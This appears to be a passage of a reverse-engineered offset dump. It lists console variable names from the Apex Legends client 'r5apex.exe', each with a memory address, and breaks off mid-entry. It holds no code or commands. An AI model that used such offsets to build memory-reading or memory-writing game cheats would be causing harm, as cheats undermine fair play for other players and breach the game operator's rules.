ConVar csm_rope_shadows +r5apex.exe!0x018a27f0 ConVar csm_rot_override +r5apex.exe!0x0189cd90 ConVar csm_rot_x +r5apex.exe!0x0189fe70 ConVar csm_rot_y +r5apex.exe!0x01c2ef00 ConVar csm_shadow_split_lerp_factor_range +r5apex.exe!0x018a0f60 ConVar csm_texel_size_cascade_0 +r5apex.exe!0x018a4110 ConVar csm_texel_size_cascade_1 +r5apex.exe!0x0189d4a0 ConVar csm_texel_size_cascade_2 +r5apex.exe!0x018aa0c0 ConVar csm_texel_size_cascade_onecascade +r5apex.exe!0x0189ccf0 ConVar csm_use_env_light_direction +r5apex.exe!0x018a7410 ConVar csm_world_shadow_meshes +r5apex.exe!0x018aa200 ConVar csm_world_shadows +r5apex.exe!0x018a9f70 ConVar csm_z_cover_world +r5apex.exe!0x012ce410 ConVar curl_allowHTTPS +r5apex.exe!0x012ce5f0 ConVar curl_preloadDlls +r5apex.exe!0x012ce550 ConVar curl_spamAllQueryStates +r5apex.exe!0x0782f010 ConVar cursorWide +r5apex.exe!0x01e74110 ConVar damageIndicatorReplayTimeOffset +r5apex.exe!0x01e5bfc0 ConVar damage_indicator_style_pilot +r5apex.exe!0x01c56b20 ConVar damageinfo_defendInvalidValues +r5apex.exe!0x0188d300 ConVar debugFootstepEffects +r5apex.exe!0x0118b330 ConVar debug_debug_overlay +r5apex.exe!0x0129d970 ConVar debug_force_textRestriction +r5apex.exe!0x0129d330 ConVar debug_force_ugcRestriction +r5apex.exe!0x0129d790 ConVar debug_force_voiceRestriction +r5apex.exe!0x0118d650 ConVar debug_map_crc +r5apex.exe!0x012e6900 ConVar decal_clip_debug_draw +r5apex.exe!0x012e6820 ConVar decal_clip_debug_groups +r5apex.exe!0x01e77230 ConVar defer_weapon_effects +r5apex.exe!0x01895540 ConVar delayPostSnapshotNotificationsToAfterInterpolation +r5apex.exe!0x01297b00 ConVar demo_autoRecord +r5apex.exe!0x01297660 ConVar demo_autoRecordName +r5apex.exe!0x01e6f5e0 ConVar demo_connect_string +r5apex.exe!0x01e6f2c0 ConVar demo_ui_enable +r5apex.exe!0x0119a6c0 ConVar depth_prepass_dist_cutouts +r5apex.exe!0x0119c340 ConVar depth_prepass_dist_opaques +r5apex.exe!0x0119aec0 ConVar depth_prepass_include_opaques +r5apex.exe!0x01e5a390 ConVar devStats +r5apex.exe!0x012cd8b0 ConVar developer +r5apex.exe!0x01e73420 ConVar disable_player_use_prompts +r5apex.exe!0x01298560 ConVar discord_largeImage +r5apex.exe!0x012984c0 ConVar discord_smallImage +r5apex.exe!0x01298600 ConVar discord_updatePresence +r5apex.exe!0x0118b960 ConVar dlight_default_falloff +r5apex.exe!0x0118d770 ConVar dlight_early_clear +r5apex.exe!0x01261270 ConVar dlight_enable +r5apex.exe!0x01260190 ConVar dlight_overlay +r5apex.exe!0x01c5a690 ConVar dodge_cockpitHack +r5apex.exe!0x01c8bab0 ConVar dodge_cockpitOffsetMax +r5apex.exe!0x01c75920 ConVar dodge_cockpitTiltMax +r5apex.exe!0x01c57b30 ConVar dodge_vertical_enable +r5apex.exe!0x01c5b470 ConVar dodge_vertical_horzspeedscale +r5apex.exe!0x01c8e4f0 ConVar dodge_vertical_in_air +r5apex.exe!0x01c8f050 ConVar dodge_vertical_threshold +r5apex.exe!0x01c57770 ConVar dodge_viewTiltDecreaseSpeed +r5apex.exe!0x01c89780 ConVar dodge_viewTiltFalloffTime +r5apex.exe!0x01c57270 ConVar dodge_viewTiltIncreaseSpeed +r5apex.exe!0x01c896e0 ConVar dodge_viewTiltMax +r5apex.exe!0x01c53050 ConVar dof_enable +r5apex.exe!0x01883b50 ConVar dof_farDepthEnd +r5apex.exe!0x01883bf0 ConVar dof_farDepthStart +r5apex.exe!0x01883d30 ConVar dof_monitorFarDepthEnd +r5apex.exe!0x01883a10 ConVar dof_monitorFarDepthStart +r5apex.exe!0x018838d0 ConVar dof_monitorNearDepthEnd +r5apex.exe!0x01883ab0 ConVar dof_monitorNearDepthStart +r5apex.exe!0x01883c90 ConVar dof_nearDepthEnd +r5apex.exe!0x01883970 ConVar dof_nearDepthStart +r5apex.exe!0x01883dd0 ConVar dof_overrideParams +r5apex.exe!0x01c505e0 ConVar dof_variable_blur +r5apex.exe!0x01e84ea0 ConVar dormant_debug +r5apex.exe!0x01e71be0 ConVar draw_target_info_offscreen +r5apex.exe!0x0118b750 ConVar dtwatchclass +r5apex.exe!0x0118e870 ConVar dtwatchdecode +r5apex.exe!0x0118b030 ConVar dtwatchencode +r5apex.exe!0x0118e740 ConVar dtwatchent +r5apex.exe!0x0118b560 ConVar dtwatchvar +r5apex.exe!0x01e5ee60 ConVar dump_varsights_calculations +r5apex.exe!0x01890e00 ConVar durango_voice_chat_team_only +r5apex.exe!0x012e0df0 ConVar dvs_enable +r5apex.exe!0x018aa320 ConVar dvs_enable_in_lobby +r5apex.exe!0x012e1d70 ConVar dvs_gpuframetime_max +r5apex.exe!0x012e1eb0 ConVar dvs_gpuframetime_min +r5apex.exe!0x012e1e10 ConVar dvs_scale_min +r5apex.exe!0x011939e0 ConVar eadpAuth_hostname +r5apex.exe!0x01194b60 ConVar eadpFriends_hostname +r5apex.exe!0x012cb2e0 ConVar eadpGroups_Enabled +r5apex.exe!0x01190290 ConVar eadpGroups_hostname +r5apex.exe!0x01195de0 ConVar eadpRtm_hostname +r5apex.exe!0x01194430 ConVar eadpSearch_hostname +r5apex.exe!0x012d26c0 ConVar eadp_rtm_spam_log +r5apex.exe!0x01c56520 ConVar effect_update_array_spam +r5apex.exe!0x0119c560 ConVar enable_KVFileOverrides +r5apex.exe!0x0118c310 ConVar enable_debug_overlays +r5apex.exe!0x01c8cbe0 ConVar enable_height_based_land_anims +r5apex.exe!0x01c8ac70 ConVar enable_height_based_land_anims_titans +r5apex.exe!0x0188c820 ConVar enable_skeleton_draw +r5apex.exe!0x01197d90 ConVar encrypt_multiKey +r5apex.exe!0x01e85940 ConVar ent_lightweightEnts +r5apex.exe!0x01e84b20 ConVar ent_repack_almostFull +r5apex.exe!0x01e84f40 ConVar ent_repack_threshhold +r5apex.exe!0x01c8b2c0 ConVar entity_error_on_hitbox_count_mismatch +r5apex.exe!0x01c75420 ConVar entity_skipRedundantAddEffects +r5apex.exe!0x01296da0 ConVar entity_useNetworkFieldBuffer +r5apex.exe!0x01e85120 ConVar error_if_non_standard_ent_create +r5apex.exe!0x01e5e190 ConVar eula_version +r5apex.exe!0x01e5db20 ConVar eula_version_accepted +r5apex.exe!0x018a3430 ConVar eventseq_debug +r5apex.exe!0x01e59ae0 ConVar everything_unlocked +r5apex.exe!0x01e5bd40 ConVar fast_intro +r5apex.exe!0x01e8fa50 ConVar fatal_script_error_prompt +r5apex.exe!0x01e8f910 ConVar fatal_script_errors +r5apex.exe!0x01e8f9b0 ConVar fatal_script_errors_client +r5apex.exe!0x01e8faf0 ConVar fatal_script_errors_server +r5apex.exe!0x012d49e0 ConVar filesystem_buffer_size +r5apex.exe!0x012d4ce0 ConVar filesystem_max_stdio_read +r5apex.exe!0x012d4d80 ConVar filesystem_native +r5apex.exe!0x012d4ba0 ConVar filesystem_report_buffered_io +r5apex.exe!0x012d4b00 ConVar filesystem_unbuffered_io +r5apex.exe!0x012d4c40 ConVar filesystem_use_overlapped_io +r5apex.exe!0x01c91e40 ConVar fire_animevents_overlay_not_active +r5apex.exe!0x01e7e410 ConVar first_person_bullet_delay +r5apex.exe!0x01894ba0 ConVar first_person_proxy_blend_distance +r5apex.exe!0x01e7a5a0 ConVar first_person_proxy_debug +r5apex.exe!0x01e5d9c0 ConVar firsttime_mp_message +r5apex.exe!0x01e59900 ConVar fog_enable +r5apex.exe!0x011977f0 ConVar fog_enable_water_fog +r5apex.exe!0x01e59320 ConVar fog_enableskybox +r5apex.exe!0x01e81840 ConVar force3PLaserAttachment +r5apex.exe!0x0129d8d0 ConVar force_EAAccess +r5apex.exe!0x0119cb00 ConVar fps_max +r5apex.exe!0x0119b520 ConVar fps_max_use_refresh +r5apex.exe!0x0119bd20 ConVar fps_max_vsync +r5apex.exe!0x018906a0 ConVar freecam_swallowButtonInput +r5apex.exe!0x01c56e40 ConVar freefall_sound_autoplay_time +r5apex.exe!0x01c87b90 ConVar freefall_sound_height +r5apex.exe!0x012d0f00 ConVar friends_onlineUpdateInterval +r5apex.exe!0x012d4160 ConVar fs_intralevel_reads +r5apex.exe!0x012d4620 ConVar fs_monitor_read_from_pack +r5apex.exe!0x012d42a0 ConVar fs_report_intra_level_readopens +r5apex.exe!0x012d4730 ConVar fs_report_long_reads +r5apex.exe!0x012d4200 ConVar fs_report_sync_opens +r5apex.exe!0x012d4460 ConVar fs_report_sync_opens_callstack +r5apex.exe!0x012d4580 ConVar fs_report_sync_opens_fatal +r5apex.exe!0x012d43c0 ConVar fs_showAllReads +r5apex.exe!0x012d4e50 ConVar fs_vpk_file_open +r5apex.exe!0x012d48d0 ConVar fs_warning_mode +r5apex.exe!0x01c45120 ConVar func_break_max_pieces +r5apex.exe!0x018a9470 ConVar fx_debug +r5apex.exe!0x01e89e20 ConVar fx_deferWorldTraceConstraint +r5apex.exe!0x01c3e1d0 ConVar fx_glass_velocity_cap +r5apex.exe!0x01c555b0 ConVar fx_impact_ally +r5apex.exe!0x01c4e810 ConVar fx_impact_enemy +r5apex.exe!0x01c51810 ConVar fx_impact_neutral +r5apex.exe!0x01e8b330 ConVar fx_screenspacepass +r5apex.exe!0x01c9f9b0 ConVar g_debug_ragdoll_removal +r5apex.exe!0x0188db40 ConVar g_ragdoll_fadespeed +r5apex.exe!0x01c9f040 ConVar g_ragdoll_important_maxcount +r5apex.exe!0x0188ce20 ConVar g_ragdoll_lvfadespeed +r5apex.exe!0x01c42260 ConVar gameCursor_ModeActive +r5apex.exe!0x01c43070 ConVar gameCursor_Velocity +r5apex.exe!0x018a12f0 ConVar gamepad_ads_advanced_sensitivity_scalar_0 +r5apex.exe!0x018a1390 ConVar gamepad_ads_advanced_sensitivity_scalar_1 +r5apex.exe!0x018a1430 ConVar gamepad_ads_advanced_sensitivity_scalar_2 +r5apex.exe!0x018a14d0 ConVar gamepad_ads_advanced_sensitivity_scalar_3 +r5apex.exe!0x018a1570 ConVar gamepad_ads_advanced_sensitivity_scalar_4 +r5apex.exe!0x018a1610 ConVar gamepad_ads_advanced_sensitivity_scalar_5 +r5apex.exe!0x018a16b0 ConVar gamepad_ads_advanced_sensitivity_scalar_6 +r5apex.exe!0x018a1750 ConVar gamepad_ads_advanced_sensitivity_scalar_7 +r5apex.exe!0x018a9b10 ConVar gamepad_aim_assist_ads_high_power_scopes +r5apex.exe!0x018a6dd0 ConVar gamepad_aim_assist_ads_low_power_scopes +r5apex.exe!0x01896310 ConVar gamepad_aim_assist_hip_high_power_scopes +r5apex.exe!0x018a52d0 ConVar gamepad_aim_assist_hip_low_power_scopes +r5apex.exe!0x018ad300 ConVar gamepad_aim_assist_melee +r5apex.exe!0x018a8f00 ConVar gamepad_aim_speed +r5apex.exe!0x018a5ac0 ConVar gamepad_aim_speed_ads_0 +r5apex.exe!0x018a5b60 ConVar gamepad_aim_speed_ads_1 +r5apex.exe!0x018a5c00 ConVar gamepad_aim_speed_ads_2 +r5apex.exe!0x018a5ca0 ConVar gamepad_aim_speed_ads_3 +r5apex.exe!0x018a5d40 ConVar gamepad_aim_speed_ads_4 +r5apex.exe!0x018a5de0 ConVar gamepad_aim_speed_ads_5 +r5apex.exe!0x018a5e80 ConVar gamepad_aim_speed_ads_6 +r5apex.exe!0x018a5f20 ConVar gamepad_aim_speed_ads_7 +r5apex.exe!0x01e5da80 ConVar gamepad_button_layout +r5apex.exe!0x01e5d750 ConVar gamepad_buttons_are_southpaw +r5apex.exe!0x018a9d90 ConVar gamepad_custom_ads_pitch +r5apex.exe!0x018a3570 ConVar gamepad_custom_ads_turn_delay +r5apex.exe!0x01895eb0 ConVar gamepad_custom_ads_turn_pitch +r5apex.exe!0x01c2f220 ConVar gamepad_custom_ads_turn_time +r5apex.exe!0x0189d540 ConVar gamepad_custom_ads_turn_yaw +r5apex.exe!0x01c2e3d0 ConVar gamepad_custom_ads_yaw +r5apex.exe!0x0189c770 ConVar gamepad_custom_assist_on +r5apex.exe!0x018a8aa0 ConVar gamepad_custom_curve +r5apex.exe!0x018a8da0 ConVar gamepad_custom_deadzone_in +r5apex.exe!0x018959a0 ConVar gamepad_custom_deadzone_out +r5apex.exe!0x018a61e0 ConVar gamepad_custom_enabled +r5apex.exe!0x0189ff30 ConVar gamepad_custom_hip_pitch +r5apex.exe!0x01c2d6e0 ConVar gamepad_custom_hip_turn_delay +r5apex.exe!0x01c2ec00 ConVar gamepad_custom_hip_turn_pitch +r5apex.exe!0x01c2e6f0 ConVar gamepad_custom_hip_turn_time +r5apex.exe!0x018a9180 ConVar gamepad_custom_hip_turn_yaw +r5apex.exe!0x018a68d0 ConVar gamepad_custom_hip_yaw +r5apex.exe!0x01e5c820 ConVar gamepad_custom_pilot +r5apex.exe!0x01e5c380 ConVar gamepad_custom_titan +r5apex.exe!0x018a6140 ConVar gamepad_deadzone_index_look +r5apex.exe!0x018a1000 ConVar gamepad_deadzone_index_move +r5apex.exe!0x01c4c9b0 ConVar gamepad_enabled +r5apex.exe!0x018a9bb0 ConVar gamepad_look_curve +r5apex.exe!0x01e5e330 ConVar gamepad_stick_layout +r5apex.exe!0x01c39250 ConVar gamepad_toggle_ads +r5apex.exe!0x01c43d80 ConVar gamepad_togglecrouch_hold +r5apex.exe!0x012d8400 ConVar gamepad_trigger_threshold +r5apex.exe!0x018a9a70 ConVar gamepad_use_per_scope_ads_settings +r5apex.exe!0x018a6b30 ConVar gamepad_use_per_scope_sensitivity_scalars +r5apex.exe!0x01e5edc0 ConVar gamepad_use_type +r5apex.exe!0x01199250 ConVar gameui_xbox +r5apex.exe!0x01e5e090 ConVar gamma_adjusted +r5apex.exe!0x0189e4d0 ConVar gatherprops_no_wait +r5apex.exe!0x012e46c0 ConVar gfx_desaturate_force +r5apex.exe!0x012e8a00 ConVar gfx_nvnUseLowLatency +r5apex.exe!0x012e8960 ConVar gfx_nvnUseLowLatencyBoost +r5apex.exe!0x01e59860 ConVar gl_clear_color_buffer +r5apex.exe!0x01e58a60 ConVar gl_clear_fogcolor +r5apex.exe!0x01e58ce0 ConVar gl_clear_randomcolor +r5apex.exe!0x018a3ad0 ConVar glass_break_required_speed +r5apex.exe!0x01c4b670 ConVar glass_shatter_direction_force_scale +r5apex.exe!0x01c3fb60 ConVar glass_shatter_force_scale +r5apex.exe!0x01c45240 ConVar glass_shatter_size_scale +r5apex.exe!0x01c3e900 ConVar glass_shatter_use_real_direction +r5apex.exe!0x012e4620 ConVar glitch_aberrationScale +r5apex.exe!0x018826c0 ConVar global_lighting_partial_update +r5apex.exe!0x01e90e60 ConVar gpu_count +r5apex.exe!0x012e6460 ConVar gpu_driven_tex_stream +r5apex.exe!0x012e69a0 ConVar gpu_driven_tex_stream_single_thread +r5apex.exe!0x012e1f50 ConVar gpu_level +r5apex.exe!0x01c37a70 ConVar gpu_level +r5apex.exe!0x012d8a50 ConVar gpu_mem_level +r5apex.exe!0x01895df0 ConVar gpu_mem_level +r5apex.exe!0x012e1c30 ConVar gpu_vram_size_mb +r5apex.exe!0x01c8efb0 ConVar grapple_accel_human +r5apex.exe!0x01c8bbb0 ConVar grapple_accel_titan +r5apex.exe!0x01c8e730 ConVar grapple_around_obstacle_accel +r5apex.exe!0x01c8d200 ConVar grapple_autoMantle +r5apex.exe!0x01c904f0 ConVar grapple_autoMeleeConvergeTime +r5apex.exe!0x01c5c7a0 ConVar grapple_autoMeleeOnDetach +r5apex.exe!0x01c91010 ConVar grapple_autoMeleePredict +r5apex.exe!0x01c92ea0 ConVar grapple_autoMeleePredictTime +r5apex.exe!0x01c92e00 ConVar grapple_autoMeleeViewRotateSpeedFar +r5apex.exe!0x01c92d60 ConVar grapple_autoMeleeViewRotateSpeedNear +r5apex.exe!0x01c8ee40 ConVar grapple_debug +r5apex.exe!0x01c57590 ConVar grapple_decelMeleeStrength +r5apex.exe!0x01c87ff0 ConVar grapple_decel_human +r5apex.exe!0x01c59f30 ConVar grapple_decel_titan +r5apex.exe!0x01c5aa50 ConVar grapple_detachExtraAllowedLength +r5apex.exe!0x01c5b790 ConVar grapple_disableMeleeWhenActive +r5apex.exe!0x01c87660 ConVar grapple_dontFightGravity +r5apex.exe!0x01c88980 ConVar grapple_fallSpeed +r5apex.exe!0x01c8e070 ConVar grapple_forcedRetractVel +r5apex.exe!0x01c5c390 ConVar grapple_gracePeriod +r5apex.exe!0x01c5b9a0 ConVar grapple_gravityPushUnderContribution +r5apex.exe!0x01c8c950 ConVar grapple_initialImpulseOffGround_human +r5apex.exe!0x01c90010 ConVar grapple_initialImpulseOffGround_human_npc +r5apex.exe!0x01c759c0 ConVar grapple_initialImpulseOffGround_titan +r5apex.exe!0x01c8bf10 ConVar grapple_initialImpulse_human +r5apex.exe!0x01c5b1f0 ConVar grapple_initialImpulse_titan +r5apex.exe!0x01c5b860 ConVar grapple_initialSlowFracVert_human +r5apex.exe!0x01c75da0 ConVar grapple_initialSlowFracVert_titan +r5apex.exe!0x01c88360 ConVar grapple_initialSlowFrac_human +r5apex.exe!0x01c88090 ConVar grapple_initialSlowFrac_titan +r5apex.exe!0x01c8d2d0 ConVar grapple_initialSpeedMin_human +r5apex.exe!0x01c90590 ConVar grapple_initialSpeedMin_titan +r5apex.exe!0x01c877a0 ConVar grapple_jumpFrac +r5apex.exe!0x01c87a20 ConVar grapple_letGravityHelpCosAngle +r5apex.exe!0x01c87ac0 ConVar grapple_lift +r5apex.exe!0x01c91cc0 ConVar grapple_pullDelay_human +r5apex.exe!0x01c91c20 ConVar grapple_pullDelay_titan +r5apex.exe!0x01c90840 ConVar grapple_retractVel +r5apex.exe!0x01c8fd60 ConVar grapple_rodeoVerticalImpulse +r5apex.exe!0x01c92f40 ConVar grapple_shootVel +r5apex.exe!0x01c878e0 ConVar grapple_speedRampMax_human +r5apex.exe!0x01c90d90 ConVar grapple_speedRampMax_titan +r5apex.exe!0x01c5b150 ConVar grapple_speedRampMin_human +r5apex.exe!0x01c88400 ConVar grapple_speedRampMin_titan +r5apex.exe!0x01c8be70 ConVar grapple_speedRampTime_human +r5apex.exe!0x01c8b010 ConVar grapple_speedRampTime_titan +r5apex.exe!0x01c87840 ConVar grapple_swingAngle +r5apex.exe!0x01c5bc20 ConVar grapple_swingPullAngle +r5apex.exe!0x01c5b650 ConVar grapple_swingPullSpeedLength +r5apex.exe!0x01c579f0 ConVar grapple_swingPullSpeedScale +r5apex.exe!0x01c8e690 ConVar grapple_titanEmbarkDist +r5apex.exe!0x01c87980 ConVar grapple_windowCheckDist +r5apex.exe!0x01c9b910 ConVar gravity_grenade_decel +r5apex.exe!0x01c97840 ConVar gravity_grenade_projectile_min_speed +r5apex.exe!0x01c57810 ConVar ground_debug +r5apex.exe!0x01c930f0 ConVar ground_trace_hull_radius +r5apex.exe!0x0119ee10 ConVar grx_hasUnknownItems +r5apex.exe!0x012e7b00 ConVar gtao_angle_bias +r5apex.exe!0x012e7380 ConVar gtao_intensity +r5apex.exe!0x012e7d80 ConVar gtao_intensity_in_lobby +r5apex.exe!0x012e7e20 ConVar gtao_thickness_heuristic +r5apex.exe!0x01297480 ConVar hasAnyAssetsWithDiscardedStreamableData +r5apex.exe!0x01297e80 ConVar hasMic +r5apex.exe!0x012973e0 ConVar hasPartialInstall +r5apex.exe!0x012e7ba0 ConVar hbao_angle_bias +r5apex.exe!0x012e76a0 ConVar hbao_intensity +r5apex.exe!0x012e7880 ConVar hbao_stepsize_random +r5apex.exe!0x012e7560 ConVar hbaobasic_tangent_bias +r5apex.exe!0x01c4a570 ConVar hidehud +r5apex.exe!0x018a38f0 ConVar highlight_deferred_update +r5apex.exe!0x012e6a40 ConVar highlight_draw +r5apex.exe!0x012e6c00 ConVar highlight_lazy_clear_buffers +r5apex.exe!0x012e6b60 ConVar highlight_object_max_count +r5apex.exe!0x01e89770 ConVar hitbox_bodygroup_check +r5apex.exe!0x01c52130 ConVar hitch_alert_active +r5apex.exe!0x01c519d0 ConVar hitch_alert_color +r5apex.exe!0x01c4fb20 ConVar hitch_alert_show_large_snapshots +r5apex.exe!0x012cd3d0 ConVar host_RunFrameServerAlways +r5apex.exe!0x012cce30 ConVar host_ShowIPCCallCount +r5apex.exe!0x01299e20 ConVar host_flush_threshold +r5apex.exe!0x012cc8b0 ConVar host_forceTakeHomeBuild +r5apex.exe!0x012cd810 ConVar host_framerate +r5apex.exe!0x01196bd0 ConVar host_hasIrreversibleShutdown +r5apex.exe!0x012cd770 ConVar host_limitlocal +r5apex.exe!0x0118f760 ConVar host_map +r5apex.exe!0x012cd510 ConVar host_print_frame_times +r5apex.exe!0x012cc370 ConVar host_profile +r5apex.exe!0x012cccf0 ConVar host_runframe_input_parcelremainder +r5apex.exe!0x012cc950 ConVar host_server_thread_min_ticks +r5apex.exe!0x012cba70 ConVar host_sleep +r5apex.exe!0x012cbdb0 ConVar host_speeds +r5apex.exe!0x01260d20 ConVar host_syncfps +r5apex.exe!0x012cc130 ConVar host_thread_join_fast +r5apex.exe!0x012cd330 ConVar host_thread_mode +r5apex.exe!0x012cbf70 ConVar host_threaded_sound +r5apex.exe!0x012cd950 ConVar host_timescale +r5apex.exe!0x01192da0 ConVar hostname +r5apex.exe!0x01e6ece0 ConVar hover_vehicle_passenger_left_attachment_name +r5apex.exe!0x012ce190 ConVar http_StryderKey +r5apex.exe!0x012cdb50 ConVar http_debug +r5apex.exe!0x012ce050 ConVar http_debug_forceFailRate +r5apex.exe!0x012cddd0 ConVar http_debug_forceFailStatus +r5apex.exe!0x012cdfb0 ConVar http_expoBackoff_Enabled +r5apex.exe!0x012cdbf0 ConVar http_failuresAsErrors +r5apex.exe!0x012cdf10 ConVar http_maxAllocateAttempts +r5apex.exe!0x012ce4b0 ConVar http_recv_fail_realloc +r5apex.exe!0x012cde70 ConVar http_sandbox +r5apex.exe!0x012cdd30 ConVar http_showQueries +r5apex.exe!0x01e879c0 ConVar hud_autoreloadscript +r5apex.exe!0x01c53f10 ConVar hud_setting_accessibleChat +r5apex.exe!0x01c4f7a0 ConVar hud_setting_adsDof +r5apex.exe!0x01299260 ConVar hud_setting_anonymousMode +r5apex.exe!0x01e719e0 ConVar hud_setting_compactOverHeadNames +r5apex.exe!0x01c54af0 ConVar hud_setting_damageIndicatorStyle +r5apex.exe!0x01c51590 ConVar hud_setting_damageTextStyle +r5apex.exe!0x01c4e8b0 ConVar hud_setting_enableModWheel +r5apex.exe!0x01e5cb60 ConVar hud_setting_healthUseOnHold +r5apex.exe!0x01e5ce80 ConVar hud_setting_healthWheelToggle +r5apex.exe!0x01e5d0a0 ConVar hud_setting_healthWheelUseOnRelease +r5apex.exe!0x01c50f70 ConVar hud_setting_lootPromptStyle +r5apex.exe!0x01c51270 ConVar hud_setting_minimapRotate +r5apex.exe!0x01e5c700 ConVar hud_setting_ordnanceUseOnHold +r5apex.exe!0x01e5e490 ConVar hud_setting_ordnanceWheelToggle +r5apex.exe!0x01e5c8c0 ConVar hud_setting_ordnanceWheelUseOnRelease +r5apex.exe!0x01c549d0 ConVar hud_setting_pingAlpha +r5apex.exe!0x01c51cf0 ConVar hud_setting_pingDoubleTapEnemy +r5apex.exe!0x01e5d1e0 ConVar hud_setting_pingWheelToggle +r5apex.exe!0x01c4ec50 ConVar hud_setting_showButtonHints +r5apex.exe!0x01c54530 ConVar hud_setting_showCallsigns +r5apex.exe!0x01c4f5b0 ConVar hud_setting_showHopUpPopUp +r5apex.exe!0x01c53720 ConVar hud_setting_showLevelUp +r5apex.exe!0x01c52690 ConVar hud_setting_showMedals +r5apex.exe!0x01c55790 ConVar hud_setting_showMeter +r5apex.exe!0x01c527d0 ConVar hud_setting_showObituary +r5apex.exe!0x01c4fd50 ConVar hud_setting_showTips +r5apex.exe!0x01c55350 ConVar hud_setting_showWeaponFlyouts +r5apex.exe!0x01c553f0 ConVar hud_setting_streamerMode +r5apex.exe!0x01c3dcf0 ConVar hudchat_new_message_fade_duration +r5apex.exe!0x01c45380 ConVar hudchat_new_message_shown_duration +r5apex.exe!0x01c3ea40 ConVar hudchat_play_text_to_speech +r5apex.exe!0x01c3db30 ConVar hudchat_transition_message_mode_fade_duration +r5apex.exe!0x01c3cc50 ConVar hudchat_visibility +r5apex.exe!0x01e8ec00 ConVar hudwarp_chopsize +r5apex.exe!0x01e8e8e0 ConVar hudwarp_override +r5apex.exe!0x01e8e7a0 ConVar hudwarp_viewDist +r5apex.exe!0x01e8eb60 ConVar hudwarp_xScale +r5apex.exe!0x01e8d8c0 ConVar hudwarp_xWarp +r5apex.exe!0x01e8d960 ConVar hudwarp_yScale +r5apex.exe!0x01e8e840 ConVar hudwarp_yWarp +r5apex.exe!0x01c4f6f0 ConVar idcolor_ally +r5apex.exe!0x01c55a10 ConVar idcolor_ally_cb1 +r5apex.exe!0x01c537f0 ConVar idcolor_ally_cb2 +r5apex.exe!0x01c53d30 ConVar idcolor_ally_cb3 +r5apex.exe!0x01c56400 ConVar idcolor_enemy +r5apex.exe!0x01c52e90 ConVar idcolor_enemy_cb1 +r5apex.exe!0x01c52930 ConVar idcolor_enemy_cb2 +r5apex.exe!0x01c4e950 ConVar idcolor_enemy_cb3 +r5apex.exe!0x01c4f9e0 ConVar idcolor_neutral +r5apex.exe!0x0119cd80 ConVar ignore_fatal_errors +r5apex.exe!0x01e5a1a0 ConVar ignore_script_errors +r5apex.exe!0x01c93050 ConVar ik_debug +r5apex.exe!0x01c569a0 ConVar ik_debug_chain +r5apex.exe!0x01c8d3a0 ConVar ik_debug_ent +r5apex.exe!0x01c91330 ConVar ik_debug_text +r5apex.exe!0x01c5a870 ConVar ik_enable +r5apex.exe!0x01c875c0 ConVar ik_enable_client +r5apex.exe!0x01c8e990 ConVar ik_height_adjust +r5apex.exe!0x01c5acd0 ConVar ik_height_adjust_debug +r5apex.exe!0x01c59730 ConVar ik_height_adjust_move_speed +r5apex.exe!0x01c57450 ConVar ik_height_adjust_sine +r5apex.exe!0x01c8ff70 ConVar ik_height_adjust_speed +r5apex.exe!0x01c8aba0 ConVar ik_latch +r5apex.exe!0x01c75c80 ConVar ik_normal_lerp_rate +r5apex.exe!0x01c89910 ConVar ik_unlatch_max_rate +r5apex.exe!0x012d6700 ConVar ime_enabled +r5apex.exe!0x01e8bd40 ConVar imgui_buildmode +r5apex.exe!0x01e8c0a0 ConVar imgui_buildmode +r5apex.exe!0x01c48710 ConVar impact_allow +r5apex.exe!0x01c52870 ConVar impact_debug_info +r5apex.exe!0x01c4a4d0 ConVar impact_victim_offset_dist +r5apex.exe!0x01ca05d0 ConVar impulse_low_decel_duration_scalar +r5apex.exe!0x01297fc0 ConVar inPartyChat +r5apex.exe!0x01194c00 ConVar in_forceuser +r5apex.exe!0x0119c200 ConVar in_syncRT +r5apex.exe!0x01c38d90 ConVar in_usekeyboardsampletime +r5apex.exe!0x0129d830 ConVar inbox_enabled +r5apex.exe!0x0129d510 ConVar infoblock_requestInterval +r5apex.exe!0x01c4b010 ConVar input_did_turn_threshold +r5apex.exe!0x01e5d000 ConVar intro_viewed +r5apex.exe!0x01195a80 ConVar ip +r5apex.exe!0x01c49210 ConVar joy_advaxisr +r5apex.exe!0x01c39d10 ConVar joy_advaxisu +r5apex.exe!0x01c4b890 ConVar joy_advaxisv +r5apex.exe!0x01c441c0 ConVar joy_advaxisx +r5apex.exe!0x01c46990 ConVar joy_advaxisy +r5apex.exe!0x01c43e20 ConVar joy_advaxisz +r5apex.exe!0x01c4af70 ConVar joy_inverty +r5apex.exe!0x01c4ca50 ConVar joy_legacy +r5apex.exe!0x01c3ed40 ConVar joy_movement_stick +r5apex.exe!0x01c38fb0 ConVar joy_requireFocus +r5apex.exe!0x01c474b0 ConVar joy_rumble +r5apex.exe!0x01c48f20 ConVar joy_xcontroller_cfg_loaded +r5apex.exe!0x01260350 ConVar jpeg_quality +r5apex.exe!0x018854e0 ConVar jt_help_with_anything_ignore_preference +r5apex.exe!0x01c8ef10 ConVar jump_graceperiod +r5apex.exe!0x01c8c0b0 ConVar jump_keyboardgrace_max +r5apex.exe!0x01c75380 ConVar jump_keyboardgrace_strength +r5apex.exe!0x01c5b900 ConVar jump_keyboardgraceperiodmax +r5apex.exe!0x01c8c500 ConVar jump_keyboardgraceperiodmin +r5apex.exe!0x01298fe0 ConVar killReplay_lagCompensate +r5apex.exe!0x01e73f60 ConVar killReplay_playNonReplayRemoteCallsOnLocalClientPlayer +r5apex.exe!0x018a92f0 ConVar leaf_threadedRecompute +r5apex.exe!0x018a5fc0 ConVar leaf_threadedRecompute_batchSize +r5apex.exe!0x01e76b00 ConVar leech_npc_angle_cos +r5apex.exe!0x01e85f60 ConVar lerp_careAboutAttachmentBonePosition +r5apex.exe!0x01c57630 ConVar lerp_debugEnt +r5apex.exe!0x01e869a0 ConVar lerp_opt +r5apex.exe!0x01e84c60 ConVar lerp_threaded +r5apex.exe!0x01e85ec0 ConVar lerp_threaded_numEntsPerTask +r5apex.exe!0x011903d0 ConVar light_maxcone +r5apex.exe!0x012de3f0 ConVar lightmap_realtimelight +r5apex.exe!0x012e19d0 ConVar lightmap_realtimeshadows +r5apex.exe!0x012ccd90 ConVar load_during_video +r5apex.exe!0x01e70480 ConVar loaderrorsCount +r5apex.exe!0x01e6fd60 ConVar loaderrorsNeedShown +r5apex.exe!0x01e70980 ConVar localClientPlayerCachedLevel +r5apex.exe!0x01261be0 ConVar locationInfo +r5apex.exe!0x01261b40 ConVar locationInfo_nucleus +r5apex.exe!0x01c3cd90 ConVar locator_background_border_color +r5apex.exe!0x01c38c70 ConVar 